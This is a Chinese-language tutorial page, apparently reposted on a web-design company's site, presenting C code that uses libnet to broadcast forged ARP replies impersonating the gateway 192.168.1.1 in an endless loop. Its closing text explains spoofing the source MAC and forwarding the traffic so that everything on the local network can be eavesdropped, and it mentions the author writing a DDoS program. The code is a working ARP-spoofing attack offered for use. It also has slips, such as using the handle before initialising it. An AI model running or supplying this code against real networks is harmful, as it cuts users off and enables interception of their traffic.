本文小編為大家詳細介紹“Linux怎么使用libnet實現(xiàn)ARP攻擊腳本”,內容詳細,步驟清晰,細節(jié)處理妥當,希望這篇“Linux怎么使用libnet實現(xiàn)ARP攻擊腳本”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學習新知識吧。
代碼如下:
#include "arp.h"
int main(int argc,char **argv){
libnet_t *l;
int i,packet_size; //發(fā)送的數(shù)據(jù)包的長度
libnet_ptag_t arp_tag,ether_tag;
char *device="eth0";
char err_buf[libnet_errbuf_size];
char *destion_ip_str = "255.255.255.255";
char *source_ip_str = "192.168.1.1";
u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_t source_ip,destion_ip;
//將字符形式ip轉換為網絡字節(jié)序
source_ip = libnet_name2addr4(l,source_ip_str,libnet_resolve);
destion_ip = libnet_name2addr4(l,destion_ip_str,libnet_resolve);
//初始化libnet句柄
l = libnet_init(libnet_link,device,err_buf);
if(l == null){
printf("初始化libnet句柄失敗:%s\n",err_buf);
exit(-1);
}
arp_tag = libnet_build_arp(
arphrd_ether, //硬件地址類型,此處為以太網類型
ethertype_ip, //協(xié)議地址類型
6,
4,
arpop_reply, //arp應答
source_hardware,
(u_int8_t *)&source_ip,
destion_hardware,
(u_int8_t *)&destion_ip,
null, //無負載
0, //負載長度為0
l,
0 //協(xié)議塊標記,為0,表示新建協(xié)議塊
);
ether_tag = libnet_build_ethernet(
(u_int8_t *)&destion_hardware,
(u_int8_t *)&source_hardware,
ethertype_arp,
null,
0,
l,
0
);
i = 0;
while(1){
packet_size = libnet_write(l); //發(fā)送構造的arp數(shù)據(jù)包
usleep(10);
i++;
}
printf("數(shù)據(jù)包長度為:%d\n",packet_size);
libnet_destroy(l);
return 0;
}
目標mac為廣播地址,全0xff就行,源mac地址可以為本機mac或者隨便偽造的mac(在程序中獲取本機mac可用ioctl函數(shù),最近在寫ddos攻擊程序就是用ioctl獲取本機mac和ip的),注意arp包類型為arpop_reply(應答包)。
如果不想弄斷網,只進行欺騙的話,數(shù)據(jù)發(fā)送過來之后,要進行轉發(fā)到正確的網關,這樣就保證內網網絡正常,而且所有數(shù)據(jù)都被監(jiān)聽了
讀到這里,這篇“Linux怎么使用libnet實現(xiàn)ARP攻擊腳本”文章已經介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領會,如果想了解更多相關內容的文章,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
標題名稱:Linux怎么使用libnet實現(xiàn)ARP攻擊腳本-創(chuàng)新互聯(lián)
URL分享:http://chinadenli.net/article48/dspchp.html
成都網站建設公司_創(chuàng)新互聯(lián),為您提供Google、網站制作、定制網站、關鍵詞優(yōu)化、網站內鏈、網站維護
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)